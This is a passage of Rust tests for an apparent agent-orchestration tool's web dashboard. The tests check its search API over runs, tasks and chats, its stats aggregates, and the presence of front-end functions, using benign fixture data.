17809            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17810        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17811        std::fs::write(&path, v.to_string()).unwrap();
17812        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17813        std::fs::write(
17814            runs.join("20260902-140503-cccc").join("run.json"),
17815            "{ not json",
17816        )
17817        .unwrap();
17818
17819        let res = f.get("/api/search?scope=runs&q=quokka").await;
17820        assert_eq!(res.status, 200, "{}", res.body);
17821        let v = res.json();
17822        assert_eq!(v["total"], 1, "{v}");
17823        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17824        assert_eq!(v["hits"][0]["field"], "text");
17825        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17826        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17827        assert!(
17828            parts
17829                .iter()
17830                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17831            "{v}"
17832        );
17833        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17834        assert_eq!(
17835            flat, "The Quokka leaks across threads",
17836            "whitespace is collapsed"
17837        );
17838
17839        // Terms are ANDed, across different fields, case-insensitively.
17840        let both = f
17841            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17842            .await
17843            .json();
17844        assert_eq!(both["total"], 1, "{both}");
17845        let neither = f
17846            .get("/api/search?scope=runs&q=quokka%20zebra")
17847            .await
17848            .json();
17849        assert_eq!(neither["total"], 0, "{neither}");
17850        // Everything in the task statement is reachable, not only the row text.
17851        let stmt = f
17852            .get("/api/search?scope=runs&q=mobile%20first")
17853            .await
17854            .json();
17855        assert_eq!(stmt["total"], 2, "{stmt}");
17856        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17857        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17858    }
17859
17860    #[test]
17861    fn snippet_ignores_terms_longer_than_the_field() {
17862        let terms = ["ok".to_owned(), "elephant".to_owned()];
17863        let parts = snippet_of("ok", &terms);
17864        assert_eq!(
17865            parts,
17866            vec![SnippetPart {
17867                text: "ok".to_owned(),
17868                hit: true
17869            }]
17870        );
17871    }
17872
17873    #[test]
17874    fn snippet_marks_matches_longer_than_the_window() {
17875        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17876        let hit_len = |parts: &[SnippetPart]| -> usize {
17877            parts
17878                .iter()
17879                .filter(|p| p.hit)
17880                .map(|p| p.text.chars().count())
17881                .sum()
17882        };
17883        let total =
17884            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17885
17886        let long = "a".repeat(120);
17887        let parts = snippet_of(&long, std::slice::from_ref(&long));
17888        assert!(hit_len(&parts) > 0, "{parts:?}");
17889        assert!(total(&parts) <= cap);
17890
17891        let ja = "あ".repeat(130);
17892        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17893        assert!(hit_len(&parts) > 0, "{parts:?}");
17894        assert!(total(&parts) <= cap);
17895
17896        // A short hit, then one straddling the window's end.
17897        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17898        let term = format!("ab{}", "c".repeat(100));
17899        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17900        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17901        assert!(total(&parts) <= cap);
17902
17903        // Only the head matches: not highlighted.
17904        let text = format!("{}z", "a".repeat(119));
17905        let parts = snippet_of(&text, &["a".repeat(120)]);
17906        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17907    }
17908
17909    #[tokio::test]
17910    async fn search_caps_hits_and_snippet_length() {
17911        let f = Fixture::start().await;
17912        let runs = f.runs();
17913        for n in 0..(SEARCH_MAX_HITS + 5) {
17914            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17915        }
17916        let v = f.get("/api/search?scope=runs&q=web").await.json();
17917        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17918        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17919        assert_eq!(v["truncated"], true);
17920        // Every listed run hit carries its list row for the page's filters.
17921        assert!(
17922            v["hits"]
17923                .as_array()
17924                .unwrap()
17925                .iter()
17926                .all(|h| h["run"]["status"] == "merged")
17927        );
17928
17929        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17930        let parts = snippet_of(&long, &["needle".to_owned()]);
17931        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17932        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17933        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17934    }
17935
17936    #[tokio::test]
17937    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17938        let f = Fixture::start().await;
17939        let queue = f.queue();
17940        let mut t = Task::new(
17941            "short title".to_owned(),
17942            "line one\nthe hidden Armadillo detail".to_owned(),
17943            PathBuf::from("/repo/magi"),
17944            Source::Agent {
17945                run: "r1".to_owned(),
17946                node: "chat".to_owned(),
17947            },
17948        );
17949        t.last_error = Some("disk full on /tmp".to_owned());
17950        queue.put(&mut t).expect("file the task");
17951
17952        for (q, want) in [
17953            ("armadillo", 1),
17954            ("disk%20FULL", 1),
17955            ("chat", 1),
17956            ("queued", 1),
17957            ("short%20nothing", 0),
17958        ] {
17959            let v = f
17960                .get(&format!("/api/search?scope=tasks&q={q}"))
17961                .await
17962                .json();
17963            assert_eq!(v["total"], want, "{q}: {v}");
17964        }
17965        for bad in [
17966            "/api/search?scope=tasks&q=",
17967            "/api/search?scope=tasks&q=%20",
17968            "/api/search?scope=chats&q=",
17969            "/api/search?scope=chats&q=%20",
17970            "/api/search?scope=nope&q=a",
17971            "/api/search?q=a",
17972        ] {
17973            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17974        }
17975    }
17976
17977    /// Write one conversation file the way the store reads it back.
17978    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17979        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17980            .expect("seat value");
17981        let turns: Vec<serde_json::Value> = turns
17982            .iter()
17983            .map(|(who, body)| {
17984                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17985            })
17986            .collect();
17987        let doc = serde_json::json!({
17988            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17989            "status": status, "turns": turns,
17990            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17991            "seat": seat,
17992        });
17993        let dir = f.home.path().join("talks");
17994        std::fs::create_dir_all(&dir).expect("talks dir");
17995        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17996    }
17997
17998    #[test]
17999    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18000        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18001            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18002            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18003            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18004            "seat": crate::agent::SeatState::new("talk", "test", 1)
18005        })).unwrap();
18006        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18007        talk.title = Some(talk::ChatTitle {
18008            text: "最近の話題".into(),
18009            source: talk::TitleSource::Generated,
18010        });
18011        let doc = talk_search_doc(&talk);
18012        assert_eq!(doc["title"], "最近の話題");
18013        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18014        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18015        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18016    }
18017
18018    #[tokio::test]
18019    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18020        let f = Fixture::start().await;
18021        write_talk(
18022            &f,
18023            "20260901-000001-aaaa",
18024            "open",
18025            &[
18026                (
18027                    "operator",
18028                    "\n  Why does the Pangolin cache expire?\nsecond line",
18029                ),
18030                ("agent", "Because the TTL is thirty seconds."),
18031            ],
18032        );
18033        write_talk(
18034            &f,
18035            "20260901-000002-bbbb",
18036            "closed",
18037            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18038        );
18039        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18040
18041        let search = |q: &'static str| {
18042            let f = &f;
18043            async move {
18044                f.get(&format!("/api/search?scope=chats&q={q}"))
18045                    .await
18046                    .json()
18047            }
18048        };
18049
18050        let v = search("PANGOLIN").await;
18051        assert_eq!(v["scope"], "chats");
18052        assert_eq!(v["total"], 1, "{v}");
18053        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18054        assert_eq!(v["hits"][0]["field"], "title");
18055        assert_eq!(v["unreadable"], 1, "{v}");
18056        let marked: Vec<&str> = v["hits"][0]["snippet"]
18057            .as_array()
18058            .unwrap()
18059            .iter()
18060            .filter(|p| p["hit"] == true)
18061            .map(|p| p["text"].as_str().unwrap())
18062            .collect();
18063        assert_eq!(marked, ["Pangolin"]);
18064
18065        // An agent turn, in a closed conversation.
18066        let v = search("zebra").await;
18067        assert_eq!(v["total"], 1, "{v}");
18068        assert_eq!(v["hits"][0]["field"], "agent");
18069        // Words may sit in different turns; all must be present.
18070        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18071        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18072        // Bookkeeping is not searched.
18073        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18074            assert_eq!(search(q).await["total"], 0, "{q}");
18075        }
18076        // The first line only is the title; the second line is still a turn.
18077        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18078        // Open conversations are listed before closed ones.
18079        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18080
18081        let v = f.get("/api/search?scope=nope&q=a").await;
18082        assert_eq!(v.status, 400);
18083        assert!(
18084            v.body.contains("scope must be runs, tasks or chats"),
18085            "{}",
18086            v.body
18087        );
18088    }
18089
18090    #[test]
18091    fn a_question_card_links_a_task_id_to_the_task_page() {
18092        let start = APP_JS
18093            .find("function updateAskCard(")
18094            .expect("updateAskCard exists");
18095        let body = &APP_JS[start..];
18096        let body = &body[..body.find("\n}\n").expect("function end")];
18097        assert!(body.contains("question.run_is_task"));
18098        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18099        assert!(body.contains("`#/runs/${question.run}`"));
18100        assert!(body.contains("\"task\" : \"run\""));
18101    }
18102
18103    #[test]
18104    fn plain_text_message_surfaces_go_through_linkify() {
18105        assert!(APP_JS.contains("function linkify("));
18106        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18107        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18108        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18109        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18110        assert!(!APP_JS.contains("innerHTML = text"));
18111    }
18112
18113    #[test]
18114    fn implementation_rate_views_keep_independent_samples() {
18115        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18116            let a = stats::AgentStats {
18117                competitive_entered: competitive_n,
18118                competitive_wins: usize::from(competitive_n > 0),
18119                solo_entered: solo_n,
18120                solo_adopted: 2 * usize::from(solo_n > 0),
18121                ..Default::default()
18122            };
18123            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18124            for (key, n, numerator) in [
18125                ("competitive_win_rate", competitive_n, a.competitive_wins),
18126                ("solo_adoption_rate", solo_n, a.solo_adopted),
18127            ] {
18128                if n == 0 {
18129                    assert!(v[key].is_null());
18130                } else {
18131                    assert_eq!(v[key]["denominator"], n);
18132                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18133                }
18134            }
18135        }
18136        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18137        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18138        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18139        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18140    }
18141
18142    #[test]
18143    fn stats_bars_share_one_id_keyed_plan() {
18144        let start = APP_JS
18145            .find("function statsBarRows(")
18146            .expect("statsBarRows exists");
18147        let body = &APP_JS[start..];
18148        let body = &body[..body.find("\n}\n").expect("function end")];
18149        assert!(body.contains("statsBarPlan(rows)"));
18150        assert!(body.contains("statsAgentTone(row.agent)"));
18151        assert!(!body.contains("candTone(i)"));
18152        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18153        for root in [
18154            "stats-agents-bars",
18155            "stats-solo-bars",
18156            "stats-reviewers-bars",
18157        ] {
18158            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18159        }
18160    }
18161
18162    #[test]
18163    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18164        let start = APP_JS
18165            .find("function renderStatsReviewerScatter(")
18166            .expect("renderStatsReviewerScatter exists");
18167        let body = &APP_JS[start..];
18168        let body = &body[..body.find("\n}\n").expect("function end")];
18169        assert!(body.contains("statsScatterPlan(reviewers)"));
18170        assert!(body.contains("statsAgentTone(d.agent)"));
18171        assert!(APP_JS.contains("function statsScatterPlan("));
18172        assert!(
18173            APP_JS.contains("d.submitted < STATS_LOW_N")
18174                || APP_JS.contains("r.submitted < STATS_LOW_N")
18175        );
18176        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18177        assert!(APP_CSS.contains(".precision-scatter"));
18178    }
18179
18180    #[test]
18181    fn advisor_reflection_is_drawn_as_stacked_segments() {
18182        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18183        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18184        let html = include_str!("../assets/ui/index.html");
18185        assert!(html.contains("Approximate"));
18186        for label in ["reflected strongly", "faint", "no proposal"] {
18187            assert!(html.contains(label));
18188        }
18189        let css = include_str!("../assets/ui/app.css");
18190        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18191            assert!(css.contains(&format!(".{c} {{")));
18192        }
18193    }
18194
18195    #[test]
18196    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18197        assert!(APP_JS.contains("function statsDailyPlan("));
18198        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18199        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18200    }
18201
18202    #[test]
18203    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18204        let start = APP_JS
18205            .find("function scheduleSearch(")
18206            .expect("scheduleSearch exists");
18207        let body = &APP_JS[start..];
18208        let body = &body[..body.find("\n}\n").expect("function end")];
18209        assert!(body.contains("s.seq += 1"));
18210    }
18211
18212    /// The dashboard reads every run's state itself rather than trusting a
18213    /// separately-maintained count, so an unreadable run must be counted the
18214    /// same way `/api/health` counts it - never silently dropped the way the
18215    /// CLI's own `stats::load_all` drops it.
18216    #[tokio::test]
18217    async fn stats_runs_unreadable_matches_health() {
18218        let f = Fixture::start().await;
18219        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18220        let broken = f.runs().join("20260902-140502-bad");
18221        std::fs::create_dir_all(&broken).expect("run dir");
18222        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18223
18224        let stats = f.get("/api/stats").await;
18225        let health = f.get("/api/health").await;
18226
18227        assert_eq!(stats.status, 200);
18228        assert_eq!(stats.json()["totals"]["runs"], 1);
18229        assert_eq!(stats.json()["runs_unreadable"], 1);
18230        assert_eq!(
18231            stats.json()["runs_unreadable"],
18232            health.json()["runs_unreadable"],
18233            "the dashboard and /api/health must never disagree about how many \
18234             runs could not be read"
18235        );
18236    }
18237
18238    #[tokio::test]
18239    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18240        let f = Fixture::start().await;
18241        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18242        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18243        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18244
18245        let totals = &f.get("/api/stats").await.json()["totals"];
18246        assert_eq!(totals["runs"], 3);
18247        assert_eq!(totals["merged"], 1);
18248        assert_eq!(totals["stalled"], 1);
18249        assert_eq!(totals["in_progress"], 1);
18250        // A stalled run must never read as blocked/merged/ready - it is its
18251        // own bucket, not folded into a "decided" one.
18252        assert_eq!(totals["blocked"], 0);
18253        assert_eq!(totals["ready"], 0);
18254    }
18255
18256    #[tokio::test]
18257    async fn stats_advisors_report_proposals_and_reflection() {
18258        use crate::advise::{Advice, AdvisorRecord, Reflection};
18259        use crate::verdict::Proposal;
18260
18261        let f = Fixture::start().await;
18262        let mut state = RunState::new(
18263            PathBuf::from("/repo/magi"),
18264            "main".to_owned(),
18265            "0123456789abcdef".to_owned(),
18266            "task".to_owned(),
18267            Config::default(),
18268        );
18269        state.id = "20260902-140501-a".to_owned();
18270        state.status = RunStatus::Merged;
18271        state.advice = Some(Advice {
18272            records: vec![
18273                AdvisorRecord {
18274                    seat: "advisor-1".to_owned(),
18275                    agent: "alpha".to_owned(),
18276                    proposal: Some(Proposal {
18277                        approach: "do it".to_owned(),
18278                        key_tradeoff: "speed over memory".to_owned(),
18279                        risks: Vec::new(),
18280                        touches: Vec::new(),
18281                        why_not_naive: "breaks under load".to_owned(),
18282                    }),
18283                    error: None,
18284                    duration_ms: 0,
18285                    reflection: Reflection::Strong,
18286                },
18287                AdvisorRecord {
18288                    seat: "advisor-2".to_owned(),
18289                    agent: "alpha".to_owned(),
18290                    proposal: None,
18291                    error: Some("timed out".to_owned()),
18292                    duration_ms: 0,
18293                    reflection: Reflection::Absent,
18294                },
18295            ],
18296            synthesis: Some("blended brief".to_owned()),
18297        });
18298        let dir = f.runs().join(&state.id);
18299        std::fs::create_dir_all(&dir).expect("run dir");
18300        std::fs::write(
18301            dir.join("run.json"),
18302            serde_json::to_string_pretty(&state).expect("serialize run"),
18303        )
18304        .expect("write run.json");
18305
18306        // `alpha` is in no roster here; this test is about the rates.
18307        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18308        let alpha = advisors
18309            .as_array()
18310            .expect("an array")
18311            .iter()
18312            .find(|a| a["agent"] == "alpha")
18313            .expect("alpha row");
18314        assert_eq!(alpha["seated"], 2);
18315        assert_eq!(alpha["proposed"], 1);
18316        assert_eq!(alpha["absent"], 1);
18317        assert_eq!(alpha["strong"], 1);
18318        assert_eq!(alpha["faint"], 0);
18319        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18320    }
18321
18322    #[tokio::test]
18323    async fn stats_hides_agents_outside_the_roster_unless_all() {
18324        use crate::run::Candidate;
18325        let repo = TempDir::new().expect("repo dir");
18326        std::fs::write(
18327            repo.path().join("magi.toml"),
18328            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18329        )
18330        .expect("magi.toml");
18331        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18332        let mut state = RunState::new(
18333            PathBuf::from("/repo/magi"),
18334            "main".to_owned(),
18335            "0123456789abcdef".to_owned(),
18336            "task".to_owned(),
18337            Config::default(),
18338        );
18339        state.id = "20260902-140501-a".to_owned();
18340        state.status = RunStatus::Merged;
18341        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18342            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18343                "index": 0, "label": label.to_string(), "agent": agent,
18344                "branch": "b", "worktree": "/w",
18345            }))
18346            .expect("candidate");
18347            c.label = label;
18348            state.candidates.push(c);
18349        }
18350        let dir = f.runs().join(&state.id);
18351        std::fs::create_dir_all(&dir).expect("run dir");
18352        std::fs::write(
18353            dir.join("run.json"),
18354            serde_json::to_string_pretty(&state).expect("serialize run"),
18355        )
18356        .expect("write run.json");
18357
18358        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18359            v["agents"]
18360                .as_array()
18361                .expect("array")
18362                .iter()
18363                .map(|a| a["agent"].as_str().unwrap().to_owned())
18364                .collect()
18365        };
18366        let hidden = f.get("/api/stats").await.json();
18367        assert_eq!(agents_of(&hidden), ["keep"]);
18368        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18369        assert_eq!(hidden["totals"]["runs"], 1);
18370
18371        let all = f.get("/api/stats?all=true").await.json();
18372        assert_eq!(agents_of(&all).len(), 2);
18373        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18374        // Verify competitive and solo keys exist on agent entries
18375        let keep_agent = all["agents"]
18376            .as_array()
18377            .unwrap()
18378            .iter()
18379            .find(|a| a["agent"] == "keep")
18380            .unwrap();
18381        assert_eq!(keep_agent["competitive_entered"], 1);
18382        assert_eq!(keep_agent["competitive_wins"], 0);
18383        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18384        assert_eq!(keep_agent["solo_entered"], 0);
18385        assert_eq!(keep_agent["solo_adopted"], 0);
18386        assert!(keep_agent["solo_adoption_rate"].is_null());
18387    }
18388
18389    #[tokio::test]
18390    async fn stats_release_bumps_split_clean_from_attention() {
18391        use crate::run::ReleaseBump;
18392
18393        let f = Fixture::start().await;
18394
18395        let mut clean = RunState::new(
18396            PathBuf::from("/repo/magi"),
18397            "main".to_owned(),
18398            "0123456789abcdef".to_owned(),
18399            "task".to_owned(),
18400            Config::default(),
18401        );
18402        clean.id = "20260902-140501-a".to_owned();
18403        clean.status = RunStatus::Merged;
18404        clean.release_bump = Some(ReleaseBump {
18405            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18406            version: Some("1.0.0".to_owned()),
18407            automerge_enabled: true,
18408            merged_directly: false,
18409            local: false,
18410            release: None,
18411            problem: None,
18412            action_required: None,
18413            skipped: None,
18414        });
18415
18416        let mut blocked = RunState::new(
18417            PathBuf::from("/repo/magi"),
18418            "main".to_owned(),
18419            "0123456789abcdef".to_owned(),
18420            "task".to_owned(),
18421            Config::default(),
18422        );
18423        blocked.id = "20260902-140502-b".to_owned();
18424        blocked.status = RunStatus::Merged;
18425        blocked.release_bump = Some(ReleaseBump {
18426            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18427            version: Some("1.0.1".to_owned()),
18428            automerge_enabled: false,
18429            merged_directly: false,
18430            local: false,
18431            release: None,
18432            problem: Some("checks red".to_owned()),
18433            action_required: Some("look at the PR".to_owned()),
18434            skipped: None,
18435        });
18436
18437        for state in [&clean, &blocked] {
18438            let dir = f.runs().join(&state.id);
18439            std::fs::create_dir_all(&dir).expect("run dir");
18440            std::fs::write(
18441                dir.join("run.json"),
18442                serde_json::to_string_pretty(state).expect("serialize run"),
18443            )
18444            .expect("write run.json");
18445        }
18446
18447        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18448        assert_eq!(bumps["merged"], 2);
18449        assert_eq!(bumps["recorded"], 2);
18450        assert_eq!(bumps["pr_opened"], 2);
18451        assert_eq!(bumps["automerge_enabled"], 1);
18452        assert_eq!(bumps["needs_attention"], 1);
18453        assert_eq!(bumps["clean"], 1);
18454        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18455        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18456    }
18457
18458    #[tokio::test]
18459    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18460        let f = Fixture::start().await;
18461        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18462
18463        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18464        assert_eq!(bumps["merged"], 1);
18465        assert_eq!(bumps["recorded"], 0);
18466        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18467        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18468        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18469        // `pr_opened` and `recorded` are both zero here, so these rates have
18470        // no denominator to compute from and must be null.
18471        assert_eq!(bumps["automerge_rate"], Value::Null);
18472        assert_eq!(bumps["attention_rate"], Value::Null);
18473    }
18474
18475    #[tokio::test]
18476    async fn stats_queue_counts_come_from_the_live_queue() {
18477        let f = Fixture::start().await;
18478        let q = f.queue();
18479        let mut queued = Task::new(
18480            "queued task".to_owned(),
18481            "do it".to_owned(),
18482            PathBuf::from("/repo"),
18483            Source::Human,
18484        );
18485        q.put(&mut queued).expect("put queued");
18486        let mut held = Task::new(
18487            "held task".to_owned(),
18488            "do it later".to_owned(),
18489            PathBuf::from("/repo"),
18490            Source::Human,
18491        );
18492        held.hold_machine(Some("out of attempts".to_owned()));
18493        q.put(&mut held).expect("put held");
18494
18495        let queue = f.get("/api/stats").await.json()["queue"].clone();
18496        assert_eq!(queue["queued"], 1);
18497        assert_eq!(queue["held"], 1);
18498        assert_eq!(queue["running"], 0);
18499        assert_eq!(queue["done"], 0);
18500        assert_eq!(queue["failed"], 0);
18501        assert_eq!(queue["blocked"], 0);
18502    }
18503
18504    #[tokio::test]
18505    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18506        let f = Fixture::start().await;
18507        let stats = f.get("/api/stats").await;
18508        assert_eq!(stats.status, 200);
18509        assert_eq!(stats.json()["totals"]["runs"], 0);
18510        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18511        assert_eq!(stats.json()["runs_unreadable"], 0);
18512        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18513        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18514        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18515        assert_eq!(stats.json()["repo"], Value::Null);
18516    }
18517
18518    #[tokio::test]
18519    async fn stats_lists_every_repository_with_runs_recorded() {
18520        let f = Fixture::start().await;
18521        write_run_repo(
18522            &f.runs(),
18523            "20260902-140501-a",
18524            RunStatus::Merged,
18525            "/repos/a",
18526        );
18527        write_run_repo(
18528            &f.runs(),
18529            "20260902-140502-b",
18530            RunStatus::Merged,
18531            "/repos/a",
18532        );
18533        write_run_repo(
18534            &f.runs(),
18535            "20260902-140503-c",
18536            RunStatus::Blocked,
18537            "/repos/b",
18538        );
18539
18540        let stats = f.get("/api/stats").await;
18541        assert_eq!(stats.status, 200);
18542        // Unfiltered - the aggregate across both repositories.
18543        assert_eq!(stats.json()["totals"]["runs"], 3);
18544        assert_eq!(stats.json()["repo"], Value::Null);
18545
18546        let repos = stats.json()["repos"].clone();
18547        let repos = repos.as_array().unwrap();
18548        assert_eq!(repos.len(), 2);
18549        // Busiest (2 runs) first.
18550        assert_eq!(repos[0]["repo"], "/repos/a");
18551        assert_eq!(repos[0]["name"], "a");
18552        assert_eq!(repos[0]["runs"], 2);
18553        assert_eq!(repos[1]["repo"], "/repos/b");
18554        assert_eq!(repos[1]["runs"], 1);
18555    }
18556
18557    #[tokio::test]
18558    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18559        let f = Fixture::start().await;
18560        write_run_repo(
18561            &f.runs(),
18562            "20260902-140501-a",
18563            RunStatus::Merged,
18564            "/repos/a",
18565        );
18566        write_run_repo(
18567            &f.runs(),
18568            "20260902-140502-b",
18569            RunStatus::Blocked,
18570            "/repos/b",
18571        );
18572
18573        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18574        assert_eq!(stats.status, 200);
18575        assert_eq!(stats.json()["totals"]["runs"], 1);
18576        assert_eq!(stats.json()["totals"]["merged"], 1);
18577        assert_eq!(stats.json()["repo"], "/repos/a");
18578        // The repository list itself is unaffected by the filter - it is
18579        // what a client switches repositories from.
18580        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18581        // runs_unreadable is a whole-workload count, never scoped to the
18582        // selected repository - see StatsView::runs_unreadable's own doc.
18583        assert_eq!(stats.json()["runs_unreadable"], 0);
18584    }
18585
18586    #[tokio::test]
18587    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18588        let f = Fixture::start().await;
18589        write_run_repo(
18590            &f.runs(),
18591            "20260902-140501-a",
18592            RunStatus::Merged,
18593            "/repos/a",
18594        );
18595        write_run_repo(
18596            &f.runs(),
18597            "20260902-140502-b",
18598            RunStatus::Merged,
18599            "/repos/b",
18600        );
18601
18602        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18603            let json = f.get(uri).await.json();
18604            let daily = json["daily"].as_array().expect("daily is an array");
18605            assert_eq!(daily.len(), 30);
18606            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18607            let mut sorted = dates.clone();
18608            sorted.sort();
18609            assert_eq!(dates, sorted);
18610            for d in daily {
18611                assert_eq!(
18612                    d["merged"].as_u64().unwrap()
18613                        + d["ready"].as_u64().unwrap()
18614                        + d["other"].as_u64().unwrap(),
18615                    d["runs"].as_u64().unwrap()
18616                );
18617            }
18618            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18619        }
18620    }
18621
18622    #[tokio::test]
18623    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18624        let f = Fixture::start().await;
18625        write_run_repo(
18626            &f.runs(),
18627            "20260902-140501-a",
18628            RunStatus::Merged,
18629            "/repos/a",
18630        );
18631
18632        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18633        assert_eq!(stats.status, 404);
18634    }
18635
18636    #[tokio::test]
18637    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18638        let f = Fixture::start().await;
18639        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18640
18641        let summary = f.get("/api/runs").await.json();
18642        let row = &summary[0];
18643        assert_eq!(row["short"], "a1b2");
18644        assert_eq!(row["status"], "ready");
18645        assert_eq!(row["done"], true);
18646        assert_eq!(row["title"], "Add a web UI");
18647        assert_eq!(row["repo_name"], "magi");
